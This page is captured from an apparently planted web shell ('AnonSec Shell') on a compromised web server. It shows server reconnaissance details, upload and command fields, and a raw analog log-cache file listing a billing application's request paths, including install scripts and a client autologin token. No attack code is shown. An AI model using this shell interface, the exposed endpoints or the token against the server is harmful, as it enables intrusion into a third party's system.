AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/tmp/analog/dourada.lrsys.com.br/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/tmp/analog/dourada.lrsys.com.br/cache
CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	1496	529	49	30	16856046
D	25189159	25298166
17492	135	5	0	359
17492	136	3	1	560
17492	137	23	1	570888
17492	139	49	0	25025
17492	140	92	11	2377910
17492	141	53	2	237636
17492	142	50	3	264417
17492	143	63	18	448864
17492	144	48	5	130312
17492	145	73	21	467950
17492	146	76	21	525981
17492	147	125	41	1353039
17492	148	73	16	441686
17492	149	17	9	1333610
17492	151	7	1	283560
17492	152	4	3	85179
17492	156	8	1	2673
17492	157	1	1	2673
17492	161	8	1	2673
17492	165	8	1	2673
17492	208	71	19	184956
17492	209	45	28	346163
17492	210	67	43	812294
17492	211	3	3	197
17492	212	6	4	6842
17492	213	34	30	229001
17492	214	67	66	510901
17492	215	125	59	1130773
17492	216	48	17	320357
17492	217	23	16	197830
17492	231	40	2	789852
17492	232	23	14	419912
17492	233	1	0	62844
17492	236	18	1	816992
17492	237	55	24	1064056
17492	238	37	18	731321
17492	239	26	19	378085
17526	239	1	1	2410
17527	143	1	1	2221
17528	34	1	1	2410
17528	100	6	1	276587
17528	101	1	1	2221
17529	151	1	1	2410
17530	208	1	1	2410
17535	251	1	1	2410
17565	237	1	1	2410
17568	49	7	0	513
1	3	3	0	0	25189556	0	0	25189530	0	0	0	/?ng=contacts/ajax-validation-document-contact/
1	15	15	0	0	25189674	0	0	25189220	0	0	410078	/?ng=contacts/list/&module=contatos
1	1	1	0	0	25189216	0	0	25189216	0	0	2	/?ng=calendar/data/&start=2017-10-29&end=2017-12-10&_=1511288161775
1	13	13	0	0	25189558	0	0	25189198	0	0	421295	/?ng=horizontal_menus/list/
1	3	0	0	0	25189673	0	0	25189224	0	0	10466	/ui/lib/imgcrop/assets/css/croppic.css
1	14	0	0	0	25189638	0	0	25189178	0	0	25926	/ui/theme/lrsys/lib/bootbox.min.js
1	1	1	0	0	25189206	0	0	25189206	0	0	36384	/?ng=settings/expense-categories/
1	3	3	0	0	25189533	0	0	25189530	0	0	18410	/?ng=contacts/ajax-get-captcha
1	3	0	0	0	25189525	0	0	25189197	0	0	1972	/ui/theme/lrsys/css/liststyle.css
1	5	0	0	0	25189638	0	0	25189169	0	0	5862	/ui/theme/lrsys/css/custom.css
1	4	0	0	0	25189550	0	0	25189227	0	0	72836	/application/storage/pics/croppedImg_201146470.jpeg
1	2	0	0	0	25189559	0	0	25189224	0	0	2465	/ui/lib/jslib/admin_profile.js
1	13	0	0	0	25189664	0	0	25189180	0	0	450464	/ui/lib/moment/moment-with-locales.min.js
1	1	1	0	0	25189216	0	0	25189216	0	0	21670	/?ng=reports/expense/
1	3	3	0	0	25189533	0	0	25189530	0	0	979	/?ng=contacts/ajax-process-cnpj/
1	1	1	0	0	25189206	0	0	25189206	0	0	33830	/?ng=settings/pmethods/
1	2	2	0	0	25189640	0	0	25189557	0	0	18958	/?ng=client/downloads/
1	7	7	0	0	25189559	0	0	25189180	0	0	70	/?ng=dashboard/render/
1	13	0	0	0	25189638	0	0	25189180	0	0	9862	/ui/theme/lrsys/lib/icheck/icheck.min.js
1	4	0	0	0	25189664	0	0	25189220	0	0	109116	/ui/lib/footable/js/footable.all.min.js
1	6	0	0	0	25189666	0	0	25189181	0	0	53268	/ui/theme/lrsys/lib/modal.js
1	4	4	0	0	25189532	0	0	25189528	0	0	8908	/?ng=ajax/city&state_id=22
1	1	0	0	0	25189540	0	0	25189540	0	0	3960	/ui/theme/lrsys/img/envelope.png
1	1	0	0	0	25298166	0	0	25298166	0	0	64	/.well-known/pki-validation/0683F60D9A591E844FDA99C57298B67F.txt
1	1	1	0	0	25189204	0	0	25189204	0	0	29694	/?ng=settings/features/
1	7	7	0	0	25189672	0	0	25189210	0	0	246479	/?ng=transactions/expense/&module=financeiro
1	13	0	0	0	25189664	0	0	25189180	0	0	869914	/ui/lib/dataTables/jquery.dataTables.js
1	2	0	0	0	25189673	0	0	25189531	0	0	210288	/ui/lib/redactor/redactor.min.js?ver=4600
1	3	0	0	0	25189669	0	0	25189216	0	0	25574	/ui/lib/ibilling/picker/date.js
1	3	0	0	0	25189568	0	0	25189220	0	0	26784	/ui/lib/modal-add-contact.js
1	13	0	0	0	25189643	0	0	25189180	0	0	5862	/ui/theme/lrsys/css/custom.css?ver=16112017
1	1	0	0	0	25189226	0	0	25189226	0	0	37734	/application/storage/temp/foto_perfil.jpeg
1	6	0	0	0	25189638	0	0	25189180	0	0	25736	/ui/lib/icons/font/fontello.woff2?92121188
1	0	0	2	0	0	25189565	0	0	25189520	0	0	/?ng=login/after/ps*p-list
1	3	3	0	0	25189555	0	0	25189552	0	0	194790	/?ng=ps/edit-product/1012
1	1	1	0	0	25189197	0	0	25189197	0	0	28429	/?ng=reorder/menus/
1	2	2	0	0	25189552	0	0	25189551	0	0	129900	/?ng=ps/edit-product/1011
1	3	3	0	0	25189561	0	0	25189561	0	0	83204	/?ng=customers/list/
1	2	0	0	0	25189674	0	0	25189531	0	0	27486	/application/storage/system/profile-icon.png
1	1	1	0	0	25189557	0	0	25189557	0	0	23489	/?ng=contacts/view/1002
1	4	0	0	0	25189643	0	0	25189225	0	0	164664	/application/storage/pics/croppedImg_448122284.png
1	1	1	0	0	25189534	0	0	25189534	0	0	23472	/?ng=contacts/view/1001
1	1	1	0	0	25189531	0	0	25189531	0	0	23551	/?ng=contacts/view/1000
1	2	0	0	0	25189189	0	0	25189181	0	0	1712	/ui/lib/settings/general.js
1	2	0	0	0	25189674	0	0	25189531	0	0	30592	/ui/lib/imgcrop/croppic.js?ver=4600
1	1	1	0	0	25189217	0	0	25189217	0	0	1	/?ng=product_category/add-post/msg
1	17	0	0	0	25189664	0	0	25189169	0	0	79648	/ui/lib/blockui.js
1	2	0	0	0	25189217	0	0	25189197	0	0	3993	/ui/lib/jslib/product-manufacturer.js
1	0	0	1	0	0	25189560	0	0	25189560	0	0	/?ng=logout/
1	1	0	0	0	25189557	0	0	25189557	0	0	649	/ui/lib/contacts/client_profile_edit.js
1	1	1	0	0	25189675	0	0	25189675	0	0	1516	/?ng=contacts/activity/
1	12	0	0	0	25189638	0	0	25189180	0	0	8096	/ui/lib/imgs/default-user-avatar.png
1	3	0	0	0	25189669	0	0	25189216	0	0	25194	/ui/lib/ibilling/picker/picker.css
1	1	1	0	0	25189216	0	0	25189216	0	0	25458	/?ng=calendar/events/
1	2	0	0	0	25189638	0	0	25189562	0	0	840	/ui/lib/css/client_login.css
1	5	0	0	0	25189216	0	0	25189216	0	0	192319	/ui/theme/lrsys/lib/chart/jquery.flot.js
1	4	0	0	0	25298166	0	0	25298166	0	0	308	/.well-known/pki-validation/4295EA9A25B1419490BF4A088C081FE5.txt
1	3	3	0	0	25189555	0	0	25189552	0	0	6	/?ng=ps/ajax-product-structure/1012
1	2	2	0	0	25189552	0	0	25189551	0	0	4	/?ng=ps/ajax-product-structure/1011
1	8	0	0	0	25189674	0	0	25189181	0	0	66564	/ui/lib/redactor/redactor.css
1	4	0	0	0	25189526	0	0	25189180	0	0	2578	/ui/lib/dashboard/dashboard.css
1	5	0	0	0	25189643	0	0	25189180	0	0	94032	/ui/theme/lrsys/fonts/open-sans/fonts/Regular/OpenSans-Regular.woff2?v=1.1.0
1	4	4	0	0	25189559	0	0	25189224	0	0	136415	/?ng=settings/users-edit/2
1	1	0	0	0	25189189	0	0	25189189	0	0	401	/ui/lib/locale.js
1	2	2	0	0	25189227	0	0	25189226	0	0	66692	/?ng=settings/users-edit/1
1	1	1	0	0	25189216	0	0	25189216	0	0	21020	/?ng=transactions/list/
1	0	0	1	0	0	25189190	0	0	25189190	0	0	/?ng=settings/lc-post/
1	1	1	0	0	25189557	0	0	25189557	0	0	23714	/?ng=contacts/view/1002/summary/
1	1	0	0	0	25189207	0	0	25189207	0	0	1064	/ui/lib/imgs/pg/manualpayment.png
1	3	0	0	0	25189675	0	0	25189224	0	0	84294	/ui/lib/imgcrop/assets/img/placeholder.png
1	2	2	0	0	25189217	0	0	25189197	0	0	48410	/?ng=product_manufacturer/list/
1	4	4	0	0	25189643	0	0	25189180	0	0	98740	/?ng=dashboard/
1	1	1	0	0	25189210	0	0	25189210	0	0	44365	/?ng=transactions/expense/
1	1	1	0	0	25189675	0	0	25189675	0	0	422	/?ng=contacts/transactions/
1	5	5	0	0	25189568	0	0	25189220	0	0	371038	/?ng=contacts/add/
1	0	0	1	0	0	25189189	0	0	25189189	0	0	/?ng=settings/app-post
1	1	1	0	0	25189214	0	0	25189214	0	0	35844	/?ng=horizontal_menus/plugins/4/ferramentas
1	1	1	0	0	25189211	0	0	25189211	0	0	35159	/?ng=horizontal_menus/plugins/3/financeiro
1	1	1	0	0	25189169	0	0	25189169	0	0	5089	/application/install/
1	1	0	0	0	25189216	0	0	25189216	0	0	18987	/ui/theme/lrsys/lib/datepaginator/bootstrap-datepicker.css
1	24	24	0	0	25189679	0	0	25189181	0	0	77941	/?ng=search/ps/
1	2	2	0	0	25189206	0	0	25189206	0	0	59822	/?ng=tax/list/
1	5	0	0	0	25189549	0	0	25189180	0	0	17788	/ui/lib/dashboard/dashboard.js
1	1	1	0	0	25189675	0	0	25189675	0	0	566	/?ng=contacts/quotes/
1	3	0	0	0	25189665	0	0	25189525	0	0	6948	/ui/lib/contacts/groups.js
1	7	0	0	0	25189666	0	0	25189196	0	0	53268	/ui/lib/modal.js
1	3	0	0	0	25189669	0	0	25189216	0	0	158540	/ui/lib/spectrum/spectrum.js
1	1	0	0	0	25189159	0	0	25189159	0	0	77	/.well-known/pki-validation/C84FE6DE681D299B478C89258F0D01A4.txt
1	2	2	0	0	25189226	0	0	25189196	0	0	62788	/?ng=settings/users
1	2	0	0	0	25189674	0	0	25189531	0	0	83302	/ui/lib/profile.js?ver=4600
1	3	3	0	0	25189533	0	0	25189529	0	0	6570	/?ng=contacts/modal_busca_cnpj/
1	13	0	0	0	25189638	0	0	25189180	0	0	10594	/ui/theme/lrsys/lib/progress.js
1	0	0	0	1	0	0	25240491	0	0	25240491	0	/robots.txt
1	13	0	0	0	25189638	0	0	25189180	0	0	9422	/ui/theme/lrsys/js/jquery.slimscroll.min.js
1	1	0	0	0	25189178	0	0	25189178	0	0	1	/application/install/ajax_c.php
1	8	8	0	0	25189555	0	0	25189547	0	0	8	/?ng=product_tags/add-post/msg
1	10	0	0	0	25189666	0	0	25189180	0	0	254464	/ui/lib/numeric.js
1	2	2	0	0	25189542	0	0	25189541	0	0	4	/?ng=product_packing/ajax-list&type=roller_cylinder
1	0	0	1	0	0	25189197	0	0	25189197	0	0	/?ng=delete/currency/c1/
1	6	0	0	0	25189666	0	0	25189180	0	0	126028	/ui/lib/dropzone/dropzone.js
1	3	0	0	0	25189669	0	0	25189216	0	0	240208	/ui/lib/fc/fc.js
1	7	7	0	0	25189559	0	0	25189180	0	0	3206	/?ng=dashboard/json_d_chart_data/
1	5	0	0	0	25189666	0	0	25189210	0	0	4950	/ui/lib/dp/dist/datepicker.min.css
1	1	0	0	0	25189210	0	0	25189210	0	0	8228	/ui/lib/deposit.js
1	1	1	0	0	25189201	0	0	25189201	0	0	29798	/?ng=contacts/companies/
1	1	1	0	0	25189197	0	0	25189197	0	0	30934	/?ng=unit/list/
1	4	4	0	0	25189197	0	0	25189196	0	0	121605	/?ng=settings/currencies/
1	3	0	0	0	25189669	0	0	25189216	0	0	82140	/ui/lib/validator/parsley.js
1	1	0	0	0	25189534	0	0	25189534	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511307243512
1	1	1	0	0	25189531	0	0	25189531	0	0	2	/?ng=segment/ajax-parent-list&term=Ata
1	6	6	0	0	25189559	0	0	25189213	0	0	233732	/?ng=dashboard&module=admin_superuser
1	1	1	0	0	25189528	0	0	25189528	0	0	125	/?ng=ajax/zip
1	1	0	0	0	25189557	0	0	25189557	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511308636033
1	4	0	0	0	25189668	0	0	25189210	0	0	11168	/ui/lib/expense.js
1	4	4	0	0	25189214	0	0	25189199	0	0	4	/?ng=horizontal_menus/add-post/
1	3	3	0	0	25189557	0	0	25189531	0	0	12	/?ng=contacts/add-post/
1	1	1	0	0	25189539	0	0	25189539	0	0	1	/?ng=product_category/add-post/
1	11	11	0	0	25294787	0	0	25189180	0	0	26793	/?ng=login/
1	1	0	0	0	25189225	0	0	25189225	0	0	507392	/application/storage/temp/Captura de Tela 2017-11-21 a%CC%80s 14.24.52.png
1	2	2	0	0	25189665	0	0	25189531	0	0	58	/?ng=segment/ajax-parent-list
1	1	0	0	0	25189557	0	0	25189557	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511308628634
1	1	0	0	0	25189225	0	0	25189225	0	0	4773	/ui/lib/imgcrop/assets/img/cropperIcons.png
1	1	1	0	0	25189531	0	0	25189531	0	0	2	/?ng=segment/ajax-parent-list&term=Atacado
1	9	0	0	0	25189638	0	0	25189169	0	0	13946	/application/storage/system/logo.png
1	1	0	0	0	25189206	0	0	25189206	0	0	2348	/ui/lib/pmethod.js
1	1	1	0	0	25189206	0	0	25189206	0	0	32368	/?ng=settings/income-categories/
1	23	23	0	0	25189679	0	0	25189218	0	0	6791	/?ng=product_tags/ajax-list
1	0	0	1	0	0	25189557	0	0	25189557	0	0	/?ng=client/autologin/539aw4346vs1whht9yui10021511308635
1	15	0	0	0	25189638	0	0	25189169	0	0	28948	/ui/theme/lrsys/lib/icheck/skins/minimal/_all.css
1	1	1	0	0	25189525	0	0	25189525	0	0	1	/?ng=contacts/add_group/
1	10	10	0	0	25189679	0	0	25189218	0	0	662336	/?ng=ps/p-new
1	0	0	2	0	0	25189642	0	0	25189562	0	0	/?ng=client/logout/
1	1	1	0	0	25189196	0	0	25189196	0	0	1571	/?ng=settings/modal_add_currency/
1	7	0	0	0	25189666	0	0	25189196	0	0	10174	/ui/lib/modal.css
1	1	0	0	0	25189207	0	0	25189207	0	0	2590	/ui/lib/imgs/pg/braintree.png
1	3	0	0	0	25189669	0	0	25189216	0	0	29842	/ui/lib/spectrum/spectrum.css
1	1	0	0	0	25189532	0	0	25189532	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511307113332
1	1	0	0	0	25189531	0	0	25189531	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511307113331
1	15	15	0	0	25189679	0	0	25189218	0	0	5756	/?ng=contacts/ajax-list
1	7	0	0	0	25189533	0	0	25189530	0	0	1568	/tmp/cookies_cnpj/8942891578cacd2c3eacf1f9ec137ab1
1	16	16	0	0	25189679	0	0	25189218	0	0	2020	/?ng=product_category/ajax-list
1	7	0	0	0	25189665	0	0	25189181	0	0	73644	/ui/lib/s2/css/select2.min.css
1	1	1	0	0	25189220	0	0	25189220	0	0	24133	/?ng=contacts/list/
1	2	2	0	0	25240491	0	0	25189560	0	0	4820	/?ng=admin/
1	1	1	0	0	25189197	0	0	25189197	0	0	33139	/?ng=notifications_types/list/
1	1	1	0	0	25189181	0	0	25189181	0	0	35747	/?ng=settings/app/
1	4	0	0	0	25189558	0	0	25189198	0	0	7751	/ui/lib/horizontal_menus.js
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671645
1	1	0	0	0	25189216	0	0	25189216	0	0	12256	/application/lib/reports/printThis-master/printThis.js
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671644
1	0	0	1	0	0	25189550	0	0	25189550	0	0	/?ng=delete/ps/pid1010/
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671643
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671642
1	2	0	0	0	25189638	0	0	25189562	0	0	4370	/ui/theme/lrsys/lib/icheck/skins/square/blue.png
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671641
1	0	0	1	0	0	25189562	0	0	25189562	0	0	/?ng=client
1	1	0	0	0	25189675	0	0	25189675	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671640
1	1	0	0	0	25189674	0	0	25189674	0	0	38355	/application/plugins/module_hr/assets/js/default-edit.js?_=1511315671639
1	1	1	0	0	25189207	0	0	25189207	0	0	35083	/?ng=settings/pg/
1	4	4	0	0	25189555	0	0	25189550	0	0	98320	/?ng=ps/p-list
1	1	1	0	0	25189206	0	0	25189206	0	0	29135	/?ng=settings/add-tax/
1	2	2	0	0	25189640	0	0	25189557	0	0	20094	/?ng=client/transactions/
1	20	0	0	0	25240822	0	0	25189169	0	0	279297	/ui/theme/lrsys/js/jquery-1.10.2.js
1	0	0	12	0	0	25189643	0	0	25189180	0	0	/?ng=admin/post/
1	1	1	0	0	25189216	0	0	25189216	0	0	21196	/?ng=reports/income-vs-expense/
1	15	0	0	0	25189638	0	0	25189169	0	0	129830	/ui/theme/lrsys/css/style.css?ver=2.0.1
1	12	0	0	0	25189643	0	0	25189180	0	0	808	/application/storage/system/download.gif
1	3	3	0	0	25189669	0	0	25189216	0	0	72584	/?ng=calendar/events/&module=ferramentas
1	1	0	0	0	25189180	0	0	25189180	0	0	1	/application/install/post_profile.php
1	3	3	0	0	25189550	0	0	25189180	0	0	125413	/?ng=settings/plugins/
1	1	1	0	0	25189675	0	0	25189675	0	0	1635	/?ng=contacts/more/
1	1	1	0	0	25189669	0	0	25189669	0	0	0	/?ng=module_pcp/p-steps/product-edit/1009
1	1	0	0	0	25189216	0	0	25189216	0	0	23320	/ui/theme/lrsys/fonts/glyphicons-halflings-regular.woff
1	2	2	0	0	25189640	0	0	25189557	0	0	19976	/?ng=client/quotes/
1	2	0	0	0	25189674	0	0	25189531	0	0	2542	/ui/lib/s2/js/i18n/pt_br.js?ver=4600
1	2	0	0	0	25189520	0	0	25189217	0	0	5354	/ui/lib/jslib/product-category.js
1	0	0	3	0	0	25189559	0	0	25189225	0	0	/?ng=settings/users-edit-post
1	13	0	0	0	25189664	0	0	25189180	0	0	10140	/ui/theme/lrsys/lib/jquery.maskMoney.min.js
1	1	1	0	0	25189210	0	0	25189210	0	0	40848	/?ng=transactions/deposit/
1	5	0	0	0	25189643	0	0	25189180	0	0	93352	/ui/theme/lrsys/fonts/open-sans/fonts/Bold/OpenSans-Bold.woff2?v=1.1.0
1	3	0	0	0	25189669	0	0	25189216	0	0	2926	/ui/lib/fc/fc_ibilling.css
1	0	0	1	0	0	25189169	0	0	25189169	0	0	/application/install
1	1	0	0	0	25189179	0	0	25189179	0	0	4173	/application/install/profile.php
1	2	2	0	0	25189561	0	0	25189531	0	0	2	/?ng=segment/add-post/
1	2	2	0	0	25240826	0	0	25239597	0	0	4442	/?ng=admin/forgot-pw/
1	7	0	0	0	25189664	0	0	25189180	0	0	97399	/ui/theme/lrsys/fonts/open-sans/fonts/Light/OpenSans-Light.woff2?v=1.1.0
1	10	0	0	0	25189638	0	0	25189180	0	0	154320	/ui/theme/lrsys/lib/fa/fonts/fontawesome-webfont.woff2?v=4.7.0
1	20	0	0	0	25240822	0	0	25189169	0	0	93000	/ui/theme/lrsys/lib/fa/css/font-awesome.min.css
1	2	0	0	0	25189665	0	0	25189561	0	0	12672	/ui/lib/contacts/segments.js
1	1	1	0	0	25189189	0	0	25189189	0	0	35947	/?ng=settings/app
1	15	0	0	0	25189638	0	0	25189169	0	0	10176	/ui/lib/icons/css/ibilling_icons.css
1	2	2	0	0	25189226	0	0	25189225	0	0	225	/?ng=sys_imgcrop/crop/
1	0	0	2	0	0	25189677	0	0	25189638	0	0	/?ng=client/auth/
1	7	7	0	0	25189559	0	0	25189180	0	0	238	/?ng=dashboard/json_d_inc_exp_month/
1	15	0	0	0	25189638	0	0	25189169	0	0	28662	/ui/theme/lrsys/lib/icheck/skins/square/_all.css
1	15	15	0	0	25189679	0	0	25189218	0	0	5370	/?ng=unit/ajax-list
1	6	0	0	0	25189668	0	0	25189190	0	0	2542	/ui/lib/s2/js/i18n/pt_br.js
1	13	0	0	0	25189638	0	0	25189180	0	0	2756	/ui/theme/lrsys/js/jquery.metisMenu.js
1	1	1	0	0	25189540	0	0	25189540	0	0	2	/?ng=product_packing/ajax-list&type=envelope
1	1	0	0	0	25189225	0	0	25189225	0	0	494239	/application/storage/temp/Captura de Tela 2017-11-21 a%CC%80s 14.25.27.png
1	0	0	1	0	0	25189206	0	0	25189206	0	0	/?ng=settings/eml-post
1	15	0	0	0	25189638	0	0	25189169	0	0	2862	/ui/theme/lrsys/lib/icheck/skins/polaris/polaris.css
1	21	21	0	0	25189679	0	0	25189218	0	0	1375	/?ng=segment/ajax-list
1	2	2	0	0	25189557	0	0	25189557	0	0	51798	/?ng=client/profile/
1	2	0	0	0	25189674	0	0	25189531	0	0	127132	/ui/lib/s2/js/select2.min.js?ver=4600
1	13	0	0	0	25189638	0	0	25189180	0	0	6840	/ui/theme/lrsys/js/theme.js
1	3	3	0	0	25189559	0	0	25189194	0	0	94524	/?ng=settings/users/
1	2	2	0	0	25189190	0	0	25189189	0	0	403107	/?ng=settings/localisation/
1	2	0	0	0	25189549	0	0	25189180	0	0	1737	/ui/theme/lrsys/lib/plugins.js
1	13	0	0	0	25189638	0	0	25189180	0	0	457078	/ui/theme/lrsys/js/jquery-ui-1.10.4.min.js
1	2	0	0	0	25189674	0	0	25189531	0	0	21334	/ui/lib/dp/dist/datepicker.min.js?ver=4600
1	4	0	0	0	25189674	0	0	25189531	0	0	146385	/ui/lib/numeric.js?ver=4600
1	1	0	0	0	25189216	0	0	25189216	0	0	6033	/ui/theme/lrsys/lib/chart/jquery.flot.categories.js
1	1	1	0	0	25189216	0	0	25189216	0	0	24625	/?ng=reports/by-date/
1	13	0	0	0	25189664	0	0	25189180	0	0	3028	/ui/theme/lrsys/css/bottom_bar.css
1	1	1	0	0	25189201	0	0	25189201	0	0	2014	/?ng=contacts/modal_add_company/
1	6	6	0	0	25189554	0	0	25189547	0	0	319	/?ng=product_tags/ajax-list-group
1	1	0	0	0	25189159	0	0	25189159	0	0	64	/.well-known/pki-validation/6A2EB69F91EBD6A999E79F71FC3D0EDB.txt
1	0	0	1	0	0	25189180	0	0	25189180	0	0	/index.php
1	1	1	0	0	25189530	0	0	25189530	0	0	5992	/?ng=contacts/ajax-get-captcha/0.5676752802290319
1	1	0	0	0	25189207	0	0	25189207	0	0	2954	/ui/lib/imgs/pg/stripe.png
1	2	0	0	0	25189664	0	0	25189532	0	0	1970	/ui/theme/lrsys/img/contact_blank_32.png
1	4	0	0	0	25189160	0	0	25189159	0	0	308	/.well-known/pki-validation/FA5FDE98F83686AB90DB6982E4720EE5.txt
1	3	3	0	0	25189520	0	0	25189217	0	0	61444	/?ng=product_category/list/
1	1	1	0	0	25189562	0	0	25189562	0	0	4313	/?ng=client/
1	0	0	1	0	0	25189196	0	0	25189196	0	0	/?ng=settings/users-post
1	13	0	0	0	25189643	0	0	25189180	0	0	5226	/ui/theme/lrsys/fonts/open-sans/open-sans.css?ver=4.0.1
1	2	2	0	0	25189555	0	0	25189552	0	0	10	/?ng=ps/edit-post/
1	6	0	0	0	25189666	0	0	25189181	0	0	10836	/ui/theme/lrsys/css/modal.css
1	1	0	0	0	25298166	0	0	25298166	0	0	64	/.well-known/pki-validation/79BC3434965B56102CA8D1EE2D266B79.txt?173.208.128.34
1	2	0	0	0	25189674	0	0	25189531	0	0	10140	/ui/theme/lrsys/lib/jquery.maskMoney.min.js?ver=4600
1	5	0	0	0	25189643	0	0	25189180	0	0	127456	/ui/theme/lrsys/fonts/open-sans/fonts/Semibold/OpenSans-Semibold.woff2?v=1.1.0
1	3	0	0	0	25189669	0	0	25189216	0	0	18118	/ui/lib/ibilling/picker/time.js
1	0	0	0	3	0	0	25244241	0	0	25240822	0	/robots.txt?173.208.128.34
1	4	0	0	0	25189664	0	0	25189220	0	0	100	/ui/lib/contacts/mode_search.js
1	7	7	0	0	25189559	0	0	25189180	0	0	12350	/?ng=dashboard/invoice_stats/
1	1	1	0	0	25189216	0	0	25189216	0	0	21636	/?ng=reports/income/
1	13	0	0	0	25189664	0	0	25189180	0	0	2382	/ui/lib/bottomBar/bottom_bar.js
1	0	0	6	0	0	25189559	0	0	25189201	0	0	/?ng=horizontal_menus/plugins-post
1	2	0	0	0	25189638	0	0	25189557	0	0	213236	/ui/theme/lrsys/lib/moment.js
1	1	0	0	0	25189196	0	0	25189196	0	0	1539	/ui/lib/settings/add_currency.js
1	0	0	0	2	0	0	25239597	0	0	25238639	0	/robots.txt?186.219.243.137
1	1	0	0	0	25189216	0	0	25189216	0	0	101906	/ui/theme/lrsys/lib/datepaginator/moment.js
1	5	5	0	0	25189641	0	0	25189557	0	0	48140	/?ng=client/orders/
1	0	0	1	0	0	25189196	0	0	25189196	0	0	/?ng=settings/make_base_currency/2/
1	8	8	0	0	25189565	0	0	25189181	0	0	202617	/?ng=ps/p-list/
1	0	0	1	0	0	25189557	0	0	25189557	0	0	/?ng=contacts/gen_auto_login/1002/
1	5	0	0	0	25189568	0	0	25189181	0	0	105144	/ui/lib/redactor/redactor.min.js
1	15	0	0	0	25189664	0	0	25189180	0	0	89392	/ui/lib/app.js
1	1	0	0	0	25189216	0	0	25189216	0	0	11865	/ui/theme/lrsys/lib/datepaginator/bootstrap-datepaginator.min.js
1	3	3	0	0	25189539	0	0	25189217	0	0	104	/?ng=product_category/ajax-list-parent
1	6	6	0	0	25189526	0	0	25189206	0	0	1710	/?ng=reorder/reorder-post
1	4	0	0	0	25189666	0	0	25189218	0	0	94736	/ui/lib/jslib/add-product.js
1	15	0	0	0	25189638	0	0	25189169	0	0	68684	/ui/theme/lrsys/css/component.css?ver=2.0.1
1	0	0	0	6	0	0	25189669	0	0	25189216	0	/ui/lib/spectrum/spectrum/i18n/pt_br.js
1	1	1	0	0	25189216	0	0	25189216	0	0	20798	/?ng=transactions/list-income/
1	5	5	0	0	25189568	0	0	25189220	0	0	953	/?ng=ajax/groups
1	1	0	0	0	25189207	0	0	25189207	0	0	2161	/ui/lib/imgs/pg/paypal.png
1	4	0	0	0	25189664	0	0	25189220	0	0	9238	/ui/lib/footable/css/footable.core.min.css
1	1	0	0	0	25189159	0	0	25189159	0	0	64	/.well-known/pki-validation/D4FF3ED9A6ACAFB4D2198CC124F4E206.txt
1	3	3	0	0	25189208	0	0	25189199	0	0	3	/?ng=horizontal_menus/edit-post/
1	1	0	0	0	25189178	0	0	25189178	0	0	2	/application/install/db_import.php
